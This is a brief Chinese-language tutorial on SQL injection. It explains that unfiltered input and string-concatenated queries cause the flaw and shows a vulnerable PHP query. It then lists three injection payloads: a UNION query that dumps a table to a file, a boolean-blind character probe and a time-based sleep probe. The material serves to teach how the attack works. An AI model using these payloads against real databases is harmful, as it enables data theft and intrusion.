SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。
1.对用户输入的参数没有进行严格过滤(如过滤单双引号、尖括号等),就被带到数据库执行,造成了SQL注入
2.使用了字符串拼接的方式构造SQL语句
3.$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
将$id替换为下面语句:
1' and 1=1 union select * from manage into outfile "D:/234.txt" --+;
1' and ascii(substr(database(),1,1))=115 --+;
1' and if((substr((select database()),1,1)='s'),sleep(20),1) --+;
就构成了sql注入